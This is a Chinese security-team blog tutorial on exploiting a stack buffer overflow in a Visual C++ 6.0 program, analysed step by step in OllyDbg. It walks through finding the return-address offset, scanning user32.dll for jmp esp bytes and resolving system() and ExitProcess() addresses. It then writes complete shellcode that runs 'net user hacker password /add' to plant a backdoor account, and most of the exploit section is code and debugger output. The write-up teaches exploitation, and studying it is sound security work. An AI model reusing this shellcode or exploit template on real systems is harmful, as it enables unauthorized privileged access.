Reverse-缓冲区溢出

释放双眼,带上耳机,听听看~!

缓冲区溢出(buffer overflow),是针对程序设计缺陷,向程序输入缓冲区写入使之溢出的内容(通常是超过缓冲区能保存的最大数据量的数据),从而破坏程序运行、趁著中断之际并获取程序乃至系统的控制权。

缓冲区溢出原指当某个数据超过了处理程序限制的范围时,程序出现的异常操作。造成此现象的原因有:存在缺陷的程序设计。

尤其是C语言,不像其他一些高级语言会自动进行数组或者指针的边界检查,增加溢出风险。

C语言中的C标准库还具有一些非常危险的操作函数,使用不当也为溢出创造条件。

因黑客在Unix的内核发现通过缓冲区溢出可以获得系统的最高等级权限,而成为攻击手段之一。也有人发现相同的问题也会出现在Windows操作系统上,以致其成为黑客最为常用的攻击手段,蠕虫病毒利用操作系统高危漏洞进行的破坏与大规模传播均是利用此技术。比较知名的蠕虫病毒冲击波蠕虫,就基于Windows操作系统的缓冲区溢出漏洞。

例如一个用途是对SONY的掌上游戏机PSP-3000的破解,通过特殊的溢出图片,PSP可以运行非官方的程序与游戏。同样在诺基亚智能手机操作系统Symbian OS中发现漏洞用户可以突破限制运行需要DRM权限或文件系统权限等系统权限的应用程序。

缓冲区溢出攻击从理论上来讲可以用于攻击任何有相关缺陷的程序,包括对杀毒软件、防火墙等安全产品的攻击以及对银行程序的攻击。在嵌入式设备系统上也可能被利用,例如PSP、智能手机等。

在部分情况下,当一般程序(除了驱动和操作系统内核)发生此类问题时,C++运行时库通常会终止程序的执行。

这里是对缓冲区溢出的一些记录:

环境

Microsoft Visual C++ 6.0

Ollydbg

在进行缓冲区溢出分析前先对正常程序进行分析

正常程序

程序代码

1
2
3
4
5
6
7
8
9
10
11
12

#include<stdio.h>
#include<string.h>
char name[]="virgin-forest";
int main()
{
char buffer[15];
strcpy(buffer,name); #将name的值复制给buffer
printf("%s\n",buffer);
getchar(); #等待输入 方便观察
return 0;
}

程序编译与运行

通常有两种编译模式,Debug和Release

Debug为调试版本,包含调试信息,并且不作任何优化,便于程序员调试程序

Release为发布版本,一般进行了各种优化,使得程序在代码大小和运行速度上都是最优的,以便用户很好地使用。

为了后面观察比较方便,在编译时使用Win32 Debug模式编译

输出virgin-forest后按下回车程序正常关闭

进行逆向分析

这里只使用OllyDbg进行分析

将Debug后的exe程序放入OnllyDbg

找到主函数

OnllyDbg载入后当前地址为004015B0
但这个位置不是主函数位置
而是系统自动生成的一些语句

单步运行(F8)可以找到第一个函数

004015D6   FF15 50B14200   CALL DWORD PTR DS:[<&KERNEL32.GetVersion]   kernel32.GetVersion
kernel32.GetVersion() #判断当前运行的Windows和DOS版本

继续单步运行可以找到第二个函数

00401650   FF15 4CB14200   CALL DWORD PTR DS:[<&KERNEL32.GetCommandLineA]   GetCommandLineA
kernel32.GetCommandLineA() #获取自己程序的命令行参数

通常在GetCommandLineA()后面第五个CALL就是主函数的地址
因为系统要给main函数传入默认的argc、argv等参数

00401694   E8 6CF9FFFF   CALL Test01.00401005

主函数的地址为00401005
按回车跟随

00401005   E9 06000000   JMP Test01.00401010

继续跟随到00401010位置才是main函数的位置

主函数的调用情况

回到调用主函数的位置

00401694 CALL Test01.00401005
00401699 ADD ESP,OC

CALL语句执行时的过程:

先将00401699这个地址入栈

然后跳转到00401005主函数

当主函数执行完毕会将地址出栈

然后执行00401699地址的指令

在00401694断点(F2)然后执行(F9)后栈的情况

进去(F7)后可以看到栈的情况

00401699已经入栈 当程序执行完毕时就会返回到这个地址继续执行指令

主函数的程序运行情况

0012FF84 00401699是继续执行指令的地址
0012FF80 0012FFC0是EBP入栈 – PUSH EBP
0012FF7C-0012FF2C是分配一个0x54字节放置局部变量的空间 – SUB ESP,54

因为是debug编译所以会分配多点空间,release编译就会分配刚好的空间

0012FF7C-0012FF2C全都使用int三断点(CC)填充,也就是中文的烫

这里进行填充是为了容错性和健壮性,当一个未知程序跳到这里时不会崩溃

00401031   E8 4A040000    CALL Test01.00401480

如果使用OllyDbg查看CALL了什么有点麻烦


这里使用IDA查看是调用strcpy()函数
在0012FF1C可以看到name值virgin-forest已经入栈
在0012FF18将buffer变量入栈 而0012FF70是buffer变量值的地址
也就是所strcpy()函数在执行完之后会将name的值拷贝到0012FF70的位置

再次单步运行就可以看到在0012FF70位置已经写入了name的值

继续执行
00401042是printf()函数
004010D0是getchar()函数
执行到return

可以看到栈顶就是返回地址00401699

再次执行


可以看到退出了主程序
返回了00401699位置
继续执行后面的指令

这个就是正常的程序运行
程序运行大致流程:

程序开始

程序自带初始化

将主函数下一个地址入栈

进入主函数

执行完主程序将地址出栈

返回地址位置继续执行后续指令

程序结束

漏洞程序

程序代码

1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include<string.h>
char name[]="virgin-forest wants to be a hacker!";
int main()
{
char buffer[15];
strcpy(buffer,name); #将name的值复制给buffer
printf("%s\n",buffer);
getchar(); #等待输入 方便观察
return 0;
}

程序编译与运行

这里同样是使用Debug模式进行编译

输出virgin-forest wants to be a hacker!后按下回车程序崩溃
在错误报告页面->查看错误报告包含的数据->查看关于错误报告的技术信息

需要关注的信息:

Code: 0xc0000005 #表示缓冲区溢出
Address: 0x0000000062206f74 #错误出现的地址

进行逆向分析

这里只使用OllyDbg进行分析

将有漏洞的exe程序放入OnllyDbg
断点到strcpy()函数位置


观察可知与正常的程序没有什么区别

运行strcpy()函数

可以看到栈值被覆盖
0012FF84的返回值由00401699覆盖成了62206F74
0012FF80的EBP值由0012FFC0覆盖成了2073746E

继续运行程序至return处主函数执行完之后
出栈返回62206F74时因地址不存在而报错

这个地址和前面错误报告的地址是一样

根据溢出后覆盖返回地址的特性

可以尝试伪造返回地址
并在返回地址处写入恶意代码达成攻击

定位返回地址位置

在漏洞程序的源代码中将name的值改为“virgin-forest wants to be a hacker!”
虽然造成了缓冲区溢出并根据错误报告知道了出现位置
但是通过ascii码查找有些麻烦

通过将ascii码表中的明文字母顺序写入
可以快速定位错误位置




运行后查看错误报告

错误位置为58575655
由于计算机是小端显示
所以正确的错误位置是55565758
转换为ascii就是UVWX

由于定义的15字节的空间在执行时申请16字节的空间
加上在覆盖了EBP的值也就是第20个字节的时候覆盖了主函数返回地址
而程序找不到返回地址58575655造成了报错

可以尝试覆盖EBP的值后写入自己的东西检测


XXXX为覆盖EBP的值
YYYY为覆盖返回地址的值


59转为ascii是Y 说明已经覆盖成功
返回地址的位置为 16字节任意字符 – 4字节EBP – 4字节返回地址

寻找覆盖返回地址的地址

现在我们找到了返回地址的位置
需要将地址加以利用

一般情况下比较常用的是利用ESP

ESP对比

正常程序运行到return时


此时的栈空间0012FF84存的返回地址00401699
ESP的值为0012FF84

运行return


此时的ESP值为0012ff88
也就是刚刚存储返回地址的下一个地址

漏洞程序运行到return时
此时的栈空间0012FF84存的返回地址被覆盖为59595959
ESP的值为0012FF88

运行return


运行到59595959位置 但是位置无指令
ESP的值还为0012FF88

可以发现正常程序和漏洞程序的ESP是一样的
只是返回地址有些区别
也就是说ESP是可以利用的

寻找利用地址

利用ESP通常使用jmp esp指令 机器码FFE4
利用以下程序查找user32.dll中包含jmp esp的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
int main()
{
BYTE *ptr;
int position;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary("user32.dll");
if(!handle)
{
printf("load dll error!");
exit(0);
}
ptr = (BYTE*)handle;
for(position=0;!done_flag;position++)
{
try
{
if(ptr[position]==0xFF && ptr[position+1]==0xE4)
{
int address = (int)ptr+position;
printf("POCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr+position;
printf("END of 0x%x\n",address);
done_flag = true;
}
}
getchar();
return 0;
}

返回了很多地址 随便用一个就行了

构造语句


使用user32.dll需要windows.h头文件和LoadLibrary()载入

运行到return处


可以看到栈12FF84的返回值被覆盖为77E35B79
下一个栈12FF88的参数被覆盖为74736574(test)

运行return


跳转到了user32.dll中某一处jmp esp位置
而esp的位置为12FF88

运行jmp esp


可以看到12FF88位置指令执行
Hex数据为74 65 73 74(test)

由于写入的是十六进制的test
而执行的是机器码
所以需要编写ShellCode

ShellCode编写

ShellCode就是编译好的机器码
将这些机器码作为参数输入
通过覆盖返回地址的方式执行ShellCode
达到缓冲器溢出利用的目的

获取利用函数地址

如果希望漏洞调用其他函数,需要获取相关函数的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>
#include<windows.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt"); //获取msvcrt.dll的地址
printf("msvcrt = 0x%x\n",LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");//获取system()的地址
printf("system = 0x%x\n",ProcAdd);
getchar();
return 0;
}
//获取system()函数位置
//msvcrt = 0x77be0000
//system = 0x77bf93c7
//通过同样的方式获取kernel32.dll中的ExitProcess()函数的位置
//                0x7c800000     0x7c81cafa

将字符串转换为十六进制

转换为十六进制后将四个字符为一组 不满四个要用\x00填满

由于这里的漏洞是strcpy()函数造成的
而strcpy()函数遇到\x00就会认为字符串结束而不拷贝后续的字符串
所以strcpy()函数需要用\x20填充
由于计算机是小端显示 所以需要把十六进制反过来
0x6e 0x65 0x74 0x20 ==> 0x2074656e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
char = 'net user hacker password /add'
hexs = []
for i in char:
hexs.append(hex(ord(i)))
for i in range(5-len(hexs)%4):
hexs.append('0x20')
hexs = hexs[::-1]
for i in range(1,len(hexs),4):
hex_char = 'push 0x'
for l in range(4):
hex_char += hexs[i+l].replace('0x','')
print(hex_char)
push 0x20202064
push 0x64612f20
push 0x64726f77
push 0x73736170
push 0x2072656b
push 0x63616820
push 0x72657375
push 0x2074656e

编写利用语句

在VC6.0中创建shellcode.cpp并写入以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int main()
{
_asm
{
sub esp,0x50         // 申请存储空间
xor ebx,ebx          // 使用亦或的方式将ebx的值设置为0
push ebx             // ebx 0分割字符串
push 0x20202064      // 写入 net user hacker password /add
push 0x64612f20
push 0x64726f77
push 0x73736170
push 0x2072656b
push 0x63616820
push 0x72657375
push 0x2074656e
mov eax,esp          // 将字符串赋值给eax
push eax             // 写入eax
mov eax,0x77bf93c7   // 将eax的值赋值为system()函数的位置
call eax             // 调用system()函数
push ebx             // 写入ebx
mov eax,0x7c81cafa   // 将ebx的值赋值为exitprocess()函数的位置
call eax             // 调用exitprocess()函数
}
return 0;
}

获取机器码

使用VC6.0内联方式获取机器码

首先编译后在_asm除下断点(不进行构造)

然后点击GO(F5)

再点击Disassembly

最后右键勾选Code Bytes

就能看到机器码了

ShellCode利用

编写利用程序

将提取出的机器码写在 JMP ESP 下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include<stdio.h>
#include<string.h>
#include<windows.h>
char name[]="\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50" //ABCDEFGHIJKLMNOP name[15]
"\x58\x58\x58\x58" //EBP
"\x79\x5b\xe3\x77" //JMP ESP
"\x83\xEC\x50"
"\x33\xDB"
"\x53"
"\x68\x64\x20\x20\x20"
"\x68\x20\x2F\x61\x64"
"\x68\x77\x6F\x72\x64"
"\x68\x70\x61\x73\x73"
"\x68\x6B\x65\x72\x20"
"\x68\x20\x68\x61\x63"
"\x68\x75\x73\x65\x72"
"\x68\x6E\x65\x74\x20"
"\x8B\xC4"
"\x50"
"\xB8\xC7\x93\xBF\x77"
"\xFF\xD0"
"\x53"
"\xB8\xFA\xCA\x81\x7C"
"\xFF\xD0";
int main()
{
char buffer[15];
LoadLibrary("user32.dll");
LoadLibrary("msvcrt.dll");
LoadLibrary("kernel32.dll");
strcpy(buffer,name);
printf("%s\n",buffer);
getchar();
return 0;
}

由于需要使用system()和exitprocess()函数
所以要LoadLibrary()一些dll文件
还要include加载windows.h头文件

执行利用程序

执行前系统用户情况

执行利用程序

执行后系统用户情况

用户添加成功
利用成功

分析利用程序

使用OllyDbg分析

前面的找主函数和载入dll文件等操作这里不做赘述


当前主函数的返回地址0012FF84是004016E9
0012FF80 EBP值为0012FFC0
存储空间分布正常

继续执行


当前EBP的地址0012FF80的值已经被覆盖为58585858(XXXX)
主函数返回地址0012FF84的值已经被覆盖为77E35B79(JMP ESP)
0012FF88往下的值被覆盖为ShellCode

执行到主函数return处


主函数的返回地址被写为77E35B79

执行return


当前执行JMP ESP指令
而ESP的值为0012FF88
也就是我们的ShellCode位置

ShelloCode正常执行


将“net user hacker password /add”写入EAX
将EAX赋值为77BF93C7(system()函数位置)

执行system()执行命令函数和exitprocess()退出函数


此时用户已经被添加

ShellCode执行完毕

退出ShellCode

总结

整体步骤:

测试并确定缓冲区大小

寻找JMP ESP语句位置

填充EBP 覆盖主函数返回地址为JMP ESP语句地址

编写ShellCode

使用C语言编写利用语句 找出环境依赖

获取利用函数和依赖地址

将长字符串ascii转为十六进制并进行大端序转小端序

编写利用语句汇编代码

将汇编代码转为机器码

将ShellCode写在JMP ESP语句下方

执行ShellCode成功利用

变量利用明细:
       变量长度 – EBP(4字节)- JMP ESP(4字节) – ShellCode


往期实战精彩回顾

从js信息泄露到webshell
从反渗透到病毒分析
HW之蜜罐总结
MSSQL注入的高级安全技术
zico靶机实战过程
MSSQL注入的高级安全技术
由一则敏感文档泄露事件溯源说起
从0day到未授权访问到文件包含到内网漫游

本文章来自团队成员virgin-forest分享,仅供白帽子、安全爱好者研究学习,对于用于非法途径的行为,发布者及作者不承担任何责任。

我们建立了一个以知识共享为主的 免费精品 知识星球,旨在通过相互交流,促进资源分享和信息安全建设,为以此为生的工作者、即将步入此行业的学生等人士提供绵薄之力。目前星球已发布上千篇精品安全技术文章、教程、工具等内容,已加入上百位安全圈大咖及数千位安全从业者,期待在此共同与你交流。

如果你是安全行业精英,可以加入我们的微信群,目前聚集了来自全球的信息安全公司CEO,安全部门主管,技术总监,信安创业者,网络安全专家,安全实验室负责人,公司HR等。在这里将获得更多与安全大咖们面对面交流的机会,最新的安全动态,更真实的高薪信息安全岗位,更高效率的技术交流空间。可以扫码添加我的微信,需提供真实有效的公司名称+姓名,验证通过后可加入···

人已赞赏
安全工具

【HTB系列】靶机Access的渗透测试详解

2019-10-11 17:04:51

安全工具安全教程

由一则敏感文档泄露事件溯源说起

2019-10-11 17:05:03

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索